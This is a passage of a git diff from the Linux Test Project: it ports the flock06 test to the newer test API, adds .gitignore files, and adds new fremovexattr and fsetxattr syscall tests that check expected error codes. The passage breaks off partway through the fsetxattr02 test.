-				 "flock() failed to acquire exclusive lock");
-		}
-
-	}
-
-	close(fd);
-	close(fd1);
-	cleanup();
-	tst_exit();
-
-}
-
-/*
- * setup()
- *	performs all ONE TIME setup for this test
- */
-void setup(void)
-{
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -i option.
-	 * You want to make sure you do this before you create your temporary
-	 * directory.
-	 */
-	TEST_PAUSE;
-
-	/* Create a unique temporary directory and chdir() to it. */
-	tst_tmpdir();
-
-	sprintf(filename, "flock05.%d", getpid());
-
-	/* creating temporary file */
-	fd = open(filename, O_CREAT | O_TRUNC | O_RDWR, 0666);
-	if (fd == -1) {
-		tst_resm(TFAIL, "creating a new file failed");
-
-		/* Removing temp dir */
-		tst_rmdir();
-
-	}
-}
-
-/*
- * cleanup()
- *	performs all ONE TIME cleanup for this test at
- * 	completion or premature exit
- */
-void cleanup(void)
-{
-
-	unlink(filename);
-
-	tst_rmdir();
-
-}
diff --git a/testcases/kernel/syscalls/flock/flock06.c b/testcases/kernel/syscalls/flock/flock06.c
index 617eddf..f5d469a 100644
--- a/testcases/kernel/syscalls/flock/flock06.c
+++ b/testcases/kernel/syscalls/flock/flock06.c
@@ -1,177 +1,68 @@
-/*
+// SPDX-License-Identifier: GPL-2.0-or-later
+/* Copyright (c) Matthew Wilcox for Hewlett Packard 2003
+ * Author: Matthew Wilcox
  *
- *   Copyright (c) Matthew Wilcox for Hewlett Packard 2003
+ * Test Description:
+ *  This test verifies that flock locks held on one fd conflict with flock
+ *  locks held on a different fd.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Test Steps:
+ *  The process opens two file descriptors on the same file.  It acquires
+ *  an exclusive flock on the first descriptor, checks that attempting to
+ *  acquire an flock on the second descriptor fails.  Then it removes the
+ *  first descriptor's lock and attempts to acquire an exclusive lock on
+ *  the second descriptor.
  */
 
-/**********************************************************
- *
- *    TEST IDENTIFIER   : flock06
- *
- *    EXECUTED BY       : anyone
- *
- *    TEST TITLE        : Error condition test for flock(2)
- *
- *    TEST CASE TOTAL   : 1
- *
- *    AUTHOR            : Matthew Wilcox <willy@debian.org>
- *
- *    SIGNALS
- *      Uses SIGUSR1 to pause before test if option set.
- *      (See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- * 		 This test verifies that flock locks held on one fd conflict with
- * 		 flock locks held on a different fd.
- *
- *		 Test:
- * 		 		 The process opens two file descriptors on the same file.
- * 		 		 It acquires an exclusive flock on the first descriptor,
- * 		 		 checks that attempting to acquire an flock on the second
- * 		 		 descriptor fails.  Then it removes the first descriptor's
- * 		 		 lock and attempts to acquire an exclusive lock on the
- * 		 		 second descriptor.
- *
- * USAGE:  <for command-line>
- *      flock06 [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-f] [-p]
- *                      where,  -c n : Run n copies concurrently
- *                              -f   : Turn off functional testing
- *    		 		 		 		 -e   : Turn on errno logging
- *                              -h   : Show help screen
- *		 		 		 		 -i n : Execute test n times
- *                              -I x : Execute test for x seconds
- *                              -p   : Pause for SIGUSR1 before starting
- *                              -P x : Pause for x seconds between iterations
- *                              -t   : Turn on syscall timing
- *
- ****************************************************************/
-
-#include <stdio.h>
 #include <errno.h>
-#include <fcntl.h>
-#include <sys/types.h>
-#include <sys/stat.h>
 #include <sys/file.h>
-#include <sys/wait.h>
-#include "test.h"
-#include "safe_macros.h"
 
-void setup(void);
-void cleanup(void);
+#include "tst_test.h"
 
-char *TCID = "flock06";
-int TST_TOTAL = 3;
-char filename[100];
-
-int main(int argc, char **argv)
+static void verify_flock(void)
 {
-	int lc;
+	int fd1, fd2;
 
-	tst_parse_opts(argc, argv, NULL, NULL);
+	fd1 = SAFE_OPEN("testfile", O_RDWR);
+	TEST(flock(fd1, LOCK_EX | LOCK_NB));
+	if (TST_RET != 0)
+		tst_res(TFAIL | TTERRNO, "First attempt to flock() failed");
+	else
+		tst_res(TPASS, "First attempt to flock() passed");
 
-	setup();
+	fd2 = SAFE_OPEN("testfile", O_RDWR);
+	TEST(flock(fd2, LOCK_EX | LOCK_NB));
+	if (TST_RET == -1)
+		tst_res(TPASS | TTERRNO, "Second attempt to flock() denied");
+	else
+		tst_res(TFAIL, "Second attempt to flock() succeeded!");
 
-	/* The following loop checks looping state if -i option given */
+	TEST(flock(fd1, LOCK_UN));
+	if (TST_RET != 0)
+		tst_res(TFAIL | TTERRNO, "Failed to unlock fd1");
+	else
+		tst_res(TPASS, "Unlocked fd1");
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		int fd1, fd2;
+	TEST(flock(fd2, LOCK_EX | LOCK_NB));
+	if (TST_RET != 0)
+		tst_res(TFAIL | TTERRNO, "Third attempt to flock() denied!");
+	else
+		tst_res(TPASS, "Third attempt to flock() succeeded");
 
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		fd1 = open(filename, O_RDWR);
-		if (fd1 == -1)
-			tst_brkm(TFAIL | TERRNO, cleanup,
-				 "failed to open the file");
-
-		TEST(flock(fd1, LOCK_EX | LOCK_NB));
-		if (TEST_RETURN != 0)
-			tst_resm(TFAIL | TTERRNO,
-				 "First attempt to flock() failed");
-		else
-			tst_resm(TPASS, "First attempt to flock() passed");
-
-		fd2 = open(filename, O_RDWR);
-		if (fd2 == -1)
-			tst_brkm(TFAIL | TERRNO, cleanup,
-				 "failed to open the file");
-
-		TEST(flock(fd2, LOCK_EX | LOCK_NB));
-		if (TEST_RETURN == -1)
-			tst_resm(TPASS, "Second attempt to flock() denied");
-		else
-			tst_resm(TFAIL, "Second attempt to flock() succeeded!");
-
-		TEST(flock(fd1, LOCK_UN));
-		if (TEST_RETURN == -1)
-			tst_resm(TFAIL | TTERRNO, "Failed to unlock fd1");
-		else
-			tst_resm(TPASS, "Unlocked fd1");
-
-		TEST(flock(fd2, LOCK_EX | LOCK_NB));
-		if (TEST_RETURN == -1)
-			tst_resm(TFAIL, "Third attempt to flock() denied!");
-		else
-			tst_resm(TPASS, "Third attempt to flock() succeeded");
-		close(fd1);
-		close(fd2);
-
-	}
-
-	cleanup();
-	tst_exit();
-
+	SAFE_CLOSE(fd1);
+	SAFE_CLOSE(fd2);
 }
 
-/*
- * setup()
- *		 performs all ONE TIME setup for this test
- */
-void setup(void)
+static void setup(void)
 {
 	int fd;
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -i option.
-	 * You want to make sure you do this before you create your temporary
-	 * directory.
-	 */
-	TEST_PAUSE;
-
-	/* Create a unique temporary directory and chdir() to it. */
-	tst_tmpdir();
-
-	sprintf(filename, "flock06.%d", getpid());
-
-	/* creating temporary file */
-	fd = SAFE_OPEN(tst_rmdir, filename, O_CREAT | O_TRUNC | O_RDWR, 0666);
-	close(fd);
+	fd = SAFE_OPEN("testfile", O_CREAT | O_TRUNC | O_RDWR, 0666);
+	SAFE_CLOSE(fd);
 }
 
-/*
- * cleanup()
- *		 performs all ONE TIME cleanup for this test at
- * 		 completion or premature exit
- */
-void cleanup(void)
-{
-
-	unlink(filename);
-	tst_rmdir();
-
-}
+static struct tst_test test = {
+	.test_all = verify_flock,
+	.needs_tmpdir = 1,
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/fmtmsg/.gitignore b/testcases/kernel/syscalls/fmtmsg/.gitignore
new file mode 100644
index 0000000..21e6aaa
--- /dev/null
+++ b/testcases/kernel/syscalls/fmtmsg/.gitignore
@@ -0,0 +1 @@
+/fmtmsg01
diff --git a/testcases/kernel/syscalls/fork/.gitignore b/testcases/kernel/syscalls/fork/.gitignore
new file mode 100644
index 0000000..8a08c58
--- /dev/null
+++ b/testcases/kernel/syscalls/fork/.gitignore
@@ -0,0 +1,14 @@
+/fork01
+/fork02
+/fork03
+/fork04
+/fork05
+/fork06
+/fork07
+/fork08
+/fork09
+/fork10
+/fork11
+/fork12
+/fork13
+/fork14
diff --git a/testcases/kernel/syscalls/fork/fork07.c b/testcases/kernel/syscalls/fork/fork07.c
index 4344fdf..e596867 100644
--- a/testcases/kernel/syscalls/fork/fork07.c
+++ b/testcases/kernel/syscalls/fork/fork07.c
@@ -110,7 +110,7 @@
 
 		/* fork off the children */
 		tst_resm(TINFO, "Forking %d children", Nforks);
-		tst_flush();
+		tst_old_flush();
 		for (forks = 0; forks < Nforks; forks++) {
 			pid1 = fork();
 			if (pid1 == 0) {
diff --git a/testcases/kernel/syscalls/fpathconf/.gitignore b/testcases/kernel/syscalls/fpathconf/.gitignore
new file mode 100644
index 0000000..80b32ff
--- /dev/null
+++ b/testcases/kernel/syscalls/fpathconf/.gitignore
@@ -0,0 +1 @@
+/fpathconf01
diff --git a/testcases/kernel/syscalls/fremovexattr/.gitignore b/testcases/kernel/syscalls/fremovexattr/.gitignore
new file mode 100644
index 0000000..455a9db
--- /dev/null
+++ b/testcases/kernel/syscalls/fremovexattr/.gitignore
@@ -0,0 +1,2 @@
+fremovexattr01
+fremovexattr02
diff --git a/testcases/kernel/syscalls/fremovexattr/Makefile b/testcases/kernel/syscalls/fremovexattr/Makefile
new file mode 100644
index 0000000..f71e4fc
--- /dev/null
+++ b/testcases/kernel/syscalls/fremovexattr/Makefile
@@ -0,0 +1,8 @@
+# Copyright (c) 2018 - Linaro Limited. All rights reserved.
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
\ No newline at end of file
diff --git a/testcases/kernel/syscalls/fremovexattr/fremovexattr01.c b/testcases/kernel/syscalls/fremovexattr/fremovexattr01.c
new file mode 100644
index 0000000..a3ea1aa
--- /dev/null
+++ b/testcases/kernel/syscalls/fremovexattr/fremovexattr01.c
@@ -0,0 +1,98 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 Linaro Limited. All rights reserved.
+ * Author: Rafael David Tinoco <rafael.tinoco@linaro.org>
+ */
+
+/*
+ * Test Name: fremovexattr01
+ *
+ * Description:
+ * Like removexattr(2), fremovexattr(2) also removes an extended attribute,
+ * identified by a name, from a file but, instead of using a filename path, it
+ * uses a descriptor. This test verifies that a simple call to fremovexattr(2)
+ * removes, indeed, a previously set attribute key/value from a file.
+ */
+
+#include "config.h"
+#include <errno.h>
+#include <stdlib.h>
+
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
+#endif
+
+#include "tst_test.h"
+
+#ifdef HAVE_SYS_XATTR_H
+
+#define ENOATTR ENODATA
+
+#define XATTR_TEST_KEY "user.testkey"
+#define XATTR_TEST_VALUE "this is a test value"
+#define XATTR_TEST_VALUE_SIZE 20
+
+#define MNTPOINT "mntpoint"
+#define FNAME MNTPOINT"/fremovexattr01testfile"
+
+static int fd = -1;
+static char got_value[XATTR_TEST_VALUE_SIZE];
+
+static void verify_fremovexattr(void)
+{
+	SAFE_FSETXATTR(fd, XATTR_TEST_KEY, XATTR_TEST_VALUE,
+			XATTR_TEST_VALUE_SIZE, XATTR_CREATE);
+
+	TEST(fremovexattr(fd, XATTR_TEST_KEY));
+
+	if (TST_RET != 0) {
+		tst_res(TFAIL | TTERRNO, "fremovexattr(2) failed");
+		return;
+	}
+
+	TEST(fgetxattr(fd, XATTR_TEST_KEY, got_value, sizeof(got_value)));
+
+	if (TST_RET >= 0) {
+		tst_res(TFAIL, "fremovexattr(2) did not remove attribute");
+		return;
+	}
+
+	if (TST_RET < 0 && TST_ERR != ENOATTR) {
+		tst_brk(TBROK | TTERRNO,
+			"fremovexattr(2) could not verify removal");
+		return;
+	}
+
+	tst_res(TPASS, "fremovexattr(2) removed attribute as expected");
+}
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static void setup(void)
+{
+	fd = SAFE_OPEN(FNAME, O_RDWR | O_CREAT, 0644);
+
+	TEST(fremovexattr(fd, XATTR_TEST_KEY));
+
+	if (TST_RET == -1 && TST_ERR == EOPNOTSUPP)
+		tst_brk(TCONF, "fremovexattr(2) not supported");
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = verify_fremovexattr,
+	.cleanup = cleanup,
+	.mntpoint = MNTPOINT,
+	.mount_device = 1,
+	.all_filesystems = 1,
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+};
+
+#else /* HAVE_SYS_XATTR_H */
+TST_TEST_TCONF("<sys/xattr.h> does not exist");
+#endif
diff --git a/testcases/kernel/syscalls/fremovexattr/fremovexattr02.c b/testcases/kernel/syscalls/fremovexattr/fremovexattr02.c
new file mode 100644
index 0000000..534179e
--- /dev/null
+++ b/testcases/kernel/syscalls/fremovexattr/fremovexattr02.c
@@ -0,0 +1,121 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 Linaro Limited. All rights reserved.
+ * Author: Rafael David Tinoco <rafael.tinoco@linaro.org>
+ */
+
+/*
+ * Test Name: fremovexattr02
+ *
+ * Test cases::
+ * 1) fremovexattr(2) fails if the named attribute does not exist.
+ * 2) fremovexattr(2) fails if file descriptor is not valid.
+ * 3) fremovexattr(2) fails if named attribute has an invalid address.
+ *
+ * Expected Results:
+ * fremovexattr(2) should return -1 and set errno to ENODATA.
+ * fremovexattr(2) should return -1 and set errno to EBADF.
+ * fremovexattr(2) should return -1 and set errno to EFAULT.
+ */
+
+#include "config.h"
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <errno.h>
+#include <fcntl.h>
+
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
+#endif
+
+#include "tst_test.h"
+
+#ifdef HAVE_SYS_XATTR_H
+
+#define XATTR_TEST_KEY "user.testkey"
+
+#define MNTPOINT "mntpoint"
+#define FNAME MNTPOINT"/fremovexattr02testfile"
+
+static int fd = -1;
+
+struct test_case {
+	int fd;
+	char *key;
+	int exp_err;
+};
+
+struct test_case tc[] = {
+	{				/* case 1: attribute does not exist */
+	 .key = XATTR_TEST_KEY,
+	 .exp_err = ENODATA,
+	 },
+	{				/* case 2: file descriptor is invalid */
+	 .fd = -1,
+	 .key = XATTR_TEST_KEY,
+	 .exp_err = EBADF,
+	 },
+	{				/* case 3: bad name attribute */
+	 .exp_err = EFAULT,
+	},
+};
+
+static void verify_fremovexattr(unsigned int i)
+{
+	TEST(fremovexattr(tc[i].fd, tc[i].key));
+
+	if (TST_RET == -1 && TST_ERR == EOPNOTSUPP)
+		tst_brk(TCONF, "fremovexattr(2) not supported");
+
+	if (TST_RET == -1) {
+		if (tc[i].exp_err == TST_ERR) {
+			tst_res(TPASS | TTERRNO,
+				"fremovexattr(2) failed expectedly");
+		} else {
+			tst_res(TFAIL | TTERRNO,
+				"fremovexattr(2) should fail with %s",
+				tst_strerrno(tc[i].exp_err));
+		}
+		return;
+	}
+
+	tst_res(TFAIL, "fremovexattr(2) returned %li", TST_RET);
+}
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static void setup(void)
+{
+	size_t i = 0;
+
+	fd = SAFE_OPEN(FNAME, O_RDWR | O_CREAT, 0644);
+
+	for (i = 0; i < ARRAY_SIZE(tc); i++) {
+
+		if (tc[i].fd != -1)
+			tc[i].fd = fd;
+
+		if (!tc[i].key && tc[i].exp_err == EFAULT)
+			tc[i].key = tst_get_bad_addr(cleanup);
+	}
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test = verify_fremovexattr,
+	.cleanup = cleanup,
+	.tcnt = ARRAY_SIZE(tc),
+	.mntpoint = MNTPOINT,
+	.mount_device = 1,
+	.all_filesystems = 1,
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+};
+
+#else /* HAVE_SYS_XATTR_H */
+TST_TEST_TCONF("<sys/xattr.h> does not exist");
+#endif
diff --git a/testcases/kernel/syscalls/fsetxattr/.gitignore b/testcases/kernel/syscalls/fsetxattr/.gitignore
new file mode 100644
index 0000000..8e7a9f2
--- /dev/null
+++ b/testcases/kernel/syscalls/fsetxattr/.gitignore
@@ -0,0 +1,2 @@
+/fsetxattr01
+/fsetxattr02
diff --git a/testcases/kernel/syscalls/fsetxattr/Makefile b/testcases/kernel/syscalls/fsetxattr/Makefile
new file mode 100644
index 0000000..f71e4fc
--- /dev/null
+++ b/testcases/kernel/syscalls/fsetxattr/Makefile
@@ -0,0 +1,8 @@
+# Copyright (c) 2018 - Linaro Limited. All rights reserved.
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
\ No newline at end of file
diff --git a/testcases/kernel/syscalls/fsetxattr/fsetxattr01.c b/testcases/kernel/syscalls/fsetxattr/fsetxattr01.c
new file mode 100644
index 0000000..b37dba5
--- /dev/null
+++ b/testcases/kernel/syscalls/fsetxattr/fsetxattr01.c
@@ -0,0 +1,230 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 Linaro Limited. All rights reserved.
+ * Author: Rafael David Tinoco <rafael.tinoco@linaro.org>
+ */
+
+/*
+ * Basic tests for fsetxattr(2) and make sure fsetxattr(2) handles error
+ * conditions correctly.
+ *
+ * There are 9 test cases:
+ * 1. Any other flags being set except XATTR_CREATE and XATTR_REPLACE,
+ *    fsetxattr(2) should return -1 and set errno to EINVAL
+ * 2. With XATTR_REPLACE flag set but the attribute does not exist,
+ *    fsetxattr(2) should return -1 and set errno to ENODATA
+ * 3. Create new attr with name length greater than XATTR_NAME_MAX(255)
+ *    fsetxattr(2) should return -1 and set errno to ERANGE
+ * 4. Create new attr whose value length is greater than XATTR_SIZE_MAX(65536)
+ *    fsetxattr(2) should return -1 and set errno to E2BIG
+ * 5. Create new attr whose value length is zero,
+ *    fsetxattr(2) should succeed
+ * 6. Replace the attr value without XATTR_REPLACE flag being set,
+ *    fsetxattr(2) should return -1 and set errno to EEXIST
+ * 7. Replace attr value with XATTR_REPLACE flag being set,
+ *    fsetxattr(2) should succeed
+ * 8. Create new attr whose key length is zero,
+ *    fsetxattr(2) should return -1 and set errno to ERANGE
+ * 9. Create new attr whose key is NULL,
+ *    fsetxattr(2) should return -1 and set errno to EFAULT
+ */
+
+#include "config.h"
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
+#endif
+#include "tst_test.h"
+
+#ifdef HAVE_SYS_XATTR_H
+#define XATTR_NAME_MAX 255
+#define XATTR_NAME_LEN (XATTR_NAME_MAX + 2)
+#define XATTR_SIZE_MAX 65536
+#define XATTR_TEST_KEY "user.testkey"
+#define XATTR_TEST_VALUE "this is a test value"
+#define XATTR_TEST_VALUE_SIZE 20
+#define MNTPOINT "mntpoint"
+#define FNAME MNTPOINT"/fsetxattr01testfile"
+
+static int fd = -1;
+static char long_key[XATTR_NAME_LEN];
+static char *long_value;
+static char *xattr_value = XATTR_TEST_VALUE;
+
+struct test_case {
+	char *key;
+	char **value;
+	size_t size;
+	int flags;
+	int exp_err;
+	int keyneeded;
+};
+
+struct test_case tc[] = {
+	{			/* case 00, invalid flags */
+	 .key = XATTR_TEST_KEY,
+	 .value = &xattr_value,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .flags = ~0,
+	 .exp_err = EINVAL,
+	 },
+	{			/* case 01, replace non-existing attribute */
+	 .key = XATTR_TEST_KEY,
+	 .value = &xattr_value,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .flags = XATTR_REPLACE,
+	 .exp_err = ENODATA,
+	 },
+	{			/* case 02, long key name */
+	 .key = long_key,
+	 .value = &xattr_value,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .flags = XATTR_CREATE,
+	 .exp_err = ERANGE,
+	 },
+	{			/* case 03, long value */
+	 .key = XATTR_TEST_KEY,
+	 .value = &long_value,
+	 .size = XATTR_SIZE_MAX + 1,
+	 .flags = XATTR_CREATE,
+	 .exp_err = E2BIG,
+	 },
+	{			/* case 04, zero length value */
+	 .key = XATTR_TEST_KEY,
+	 .value = &xattr_value,
+	 .size = 0,
+	 .flags = XATTR_CREATE,
+	 .exp_err = 0,
+	 },
+	{			/* case 05, create existing attribute */
+	 .key = XATTR_TEST_KEY,
+	 .value = &xattr_value,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .flags = XATTR_CREATE,
+	 .exp_err = EEXIST,
+	 .keyneeded = 1,
+	 },
+	{			/* case 06, replace existing attribute */
+	 .key = XATTR_TEST_KEY,
+	 .value = &xattr_value,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .flags = XATTR_REPLACE,
+	 .exp_err = 0,
+	 .keyneeded = 1,
+	},
+	{			/* case 07, zero length key */
+	 .key = "",
+	 .value = &xattr_value,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .flags = XATTR_CREATE,
+	 .exp_err = ERANGE,
+	},
+	{			/* case 08, NULL key */
+	 .value = &xattr_value,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .flags = XATTR_CREATE,
+	 .exp_err = EFAULT,
+	},
+};
+
+static void verify_fsetxattr(unsigned int i)
+{
+	/* some tests might require existing keys for each iteration */
+	if (tc[i].keyneeded) {
+		SAFE_FSETXATTR(fd, tc[i].key, tc[i].value, tc[i].size,
+				XATTR_CREATE);
+	}
+
+	TEST(fsetxattr(fd, tc[i].key, *tc[i].value, tc[i].size, tc[i].flags));
+
+	if (TST_RET == -1 && TST_ERR == EOPNOTSUPP)
+		tst_brk(TCONF, "fsetxattr(2) not supported");
+
+	/* success */
+
+	if (!tc[i].exp_err) {
+		if (TST_RET) {
+			tst_res(TFAIL | TTERRNO,
+				"fsetxattr(2) failed with %li", TST_RET);
+			return;
+		}
+
+		/* this is needed for subsequent iterations */
+		SAFE_FREMOVEXATTR(fd, tc[i].key);
+
+		tst_res(TPASS, "fsetxattr(2) passed");
+
+		return;
+	}
+
+	if (TST_RET == 0) {
+		tst_res(TFAIL, "fsetxattr(2) passed unexpectedly");
+		return;
+	}
+
+	/* error */
+
+	if (tc[i].exp_err != TST_ERR) {
+		tst_res(TFAIL | TTERRNO, "fsetxattr(2) should fail with %s",
+			tst_strerrno(tc[i].exp_err));
+		return;
+	}
+
+	/* key might have been added AND test might have failed, remove it */
+	if (tc[i].keyneeded)
+		SAFE_FREMOVEXATTR(fd, tc[i].key);
+
+	tst_res(TPASS | TTERRNO, "fsetxattr(2) failed");
+}
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static void setup(void)
+{
+	size_t i = 0;
+
+	snprintf(long_key, 6, "%s", "user.");
+	memset(long_key + 5, 'k', XATTR_NAME_LEN - 5);
+	long_key[XATTR_NAME_LEN - 1] = '\0';
+
+	long_value = SAFE_MALLOC(XATTR_SIZE_MAX + 2);
+	memset(long_value, 'v', XATTR_SIZE_MAX + 2);
+	long_value[XATTR_SIZE_MAX + 1] = '\0';
+
+	SAFE_TOUCH(FNAME, 0644, NULL);
+	fd = SAFE_OPEN(FNAME, O_RDONLY, NULL);
+
+	for (i = 0; i < ARRAY_SIZE(tc); i++) {
+		if (!tc[i].key)
+			tc[i].key = tst_get_bad_addr(cleanup);
+	}
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test = verify_fsetxattr,
+	.cleanup = cleanup,
+	.tcnt = ARRAY_SIZE(tc),
+	.mntpoint = MNTPOINT,
+	.mount_device = 1,
+	.all_filesystems = 1,
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+};
+
+#else /* HAVE_SYS_XATTR_H */
+TST_TEST_TCONF("<sys/xattr.h> does not exist");
+#endif
diff --git a/testcases/kernel/syscalls/fsetxattr/fsetxattr02.c b/testcases/kernel/syscalls/fsetxattr/fsetxattr02.c
new file mode 100644
index 0000000..205e80c
--- /dev/null
+++ b/testcases/kernel/syscalls/fsetxattr/fsetxattr02.c
@@ -0,0 +1,262 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 Linaro Limited. All rights reserved.
+ * Author: Rafael David Tinoco <rafael.tinoco@linaro.org>
+ */
+
+/*
+ * In the user.* namespace, only regular files and directories can
+ * have extended attributes. Otherwise fsetxattr(2) will return -1
+ * and set errno to EPERM.
+ *
+ * There are 7 test cases:
+ * 1. Set attribute to a regular file, fsetxattr(2) should succeed
+ * 2. Set attribute to a directory, fsetxattr(2) should succeed
+ * 3. Set attribute to a symlink which points to the regular file,
+ *    fsetxattr(2) should return -1 and set errno to EEXIST
+ * 4. Set attribute to a FIFO, fsetxattr(2) should return -1 and set
+ *    errno to EPERM
+ * 5. Set attribute to a char special file, fsetxattr(2) should
+ *    return -1 and set errno to EPERM
+ * 6. Set attribute to a block special file, fsetxattr(2) should
+ *    return -1 and set errno to EPERM
+ * 7. Set attribute to a UNIX domain socket, fsetxattr(2) should
+ *    return -1 and set errno to EPERM
+ */
+
+#include "config.h"
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/sysmacros.h>
+#include <sys/wait.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/socket.h>
+#include <sys/un.h>
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
+#endif
+#include "tst_test.h"
+
+#ifdef HAVE_SYS_XATTR_H
+#define XATTR_TEST_KEY "user.testkey"
+#define XATTR_TEST_VALUE "this is a test value"
+#define XATTR_TEST_VALUE_SIZE 20
+
+#define MNTPOINT "mntpoint"
+#define OFFSET    11
+#define FILENAME "fsetxattr02testfile"
+#define DIRNAME  "fsetxattr02testdir"
+#define SYMLINK  "fsetxattr02symlink"
+#define FIFO     MNTPOINT"/fsetxattr02fifo"
+#define CHR      MNTPOINT"/fsetxattr02chr"
+#define BLK      MNTPOINT"/fsetxattr02blk"
+#define SOCK     "fsetxattr02sock"
+
+struct test_case {
+	char *fname;
+	int fd;
+	int fflags;
+	char *key;
+	char *value;
+	size_t size;
+	int flags;
+	int exp_err;
+	int issocket;
+	int needskeyset;
+};
+static struct test_case tc[] = {
+	{			/* case 00, set attr to reg */
+	 .fname = FILENAME,
+	 .fflags = O_RDONLY,
+	 .key = XATTR_TEST_KEY,
+	 .value = XATTR_TEST_VALUE,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .flags = XATTR_CREATE,
+	 .exp_err = 0,
+	 },
+	{			/* case 01, set attr to dir */
+	 .fname = DIRNAME,
+	 .fflags = O_RDONLY,
+	 .key = XATTR_TEST_KEY,
+	 .value = XATTR_TEST_VALUE,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .flags = XATTR_CREATE,
+	 .exp_err = 0,
+	 },
+	{			/* case 02, set attr to symlink */
+	 .fname = SYMLINK,
+	 .fflags = O_RDONLY,
+	 .key = XATTR_TEST_KEY,
+	 .value = XATTR_TEST_VALUE,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .flags = XATTR_CREATE,
+	 .exp_err = EEXIST,
+	 .needskeyset = 1,
+	 },
+	{			/* case 03, set attr to fifo */
+	 .fname = FIFO,
+	 .fflags = (O_RDONLY | O_NONBLOCK),
+	 .key = XATTR_TEST_KEY,
+	 .value = XATTR_TEST_VALUE,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .flags = XATTR_CREATE,
+	 .exp_err = EPERM,
+	 },
+	{			/* case 04, set attr to character special */
+	 .fname = CHR,
+	 .fflags = O_RDONLY,
+	 .key = XATTR_TEST_KEY,
+	 .value = XATTR_TEST_VALUE,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .flags = XATTR_CREATE,
+	 .exp_err = EPERM,
+	 },
+	{			/* case 05, set attr to block special */
+	 .fname = BLK,
+	 .fflags = O_RDONLY,
+	 .key = XATTR_TEST_KEY,
+	 .value = XATTR_TEST_VALUE,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .flags = XATTR_CREATE,
+	 .exp_err = EPERM,
+	 },
+	{			/* case 06, set attr to socket */
+	 .fname = SOCK,
+	 .fflags = O_RDONLY,
+	 .key = XATTR_TEST_KEY,
+	 .value = XATTR_TEST_VALUE,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .flags = XATTR_CREATE,
+	 .exp_err = EPERM,
+	 .issocket = 1,
+	 },
+};
+
+static void verify_fsetxattr(unsigned int i)
+{
+	const char *fname = strstr(tc[i].fname, "fsetxattr02") + OFFSET;
+
+	/* some tests might require existing keys for each iteration */
+	if (tc[i].needskeyset) {
+		SAFE_FSETXATTR(tc[i].fd, tc[i].key, tc[i].value, tc[i].size,
+				XATTR_CREATE);
+	}
+
+	TEST(fsetxattr(tc[i].fd, tc[i].key, tc[i].value, tc[i].size,
+			tc[i].flags));
+
+	if (TST_RET == -1 && TST_ERR == EOPNOTSUPP)
+		tst_brk(TCONF, "fsetxattr(2) not supported");
+
+	/* success */
+
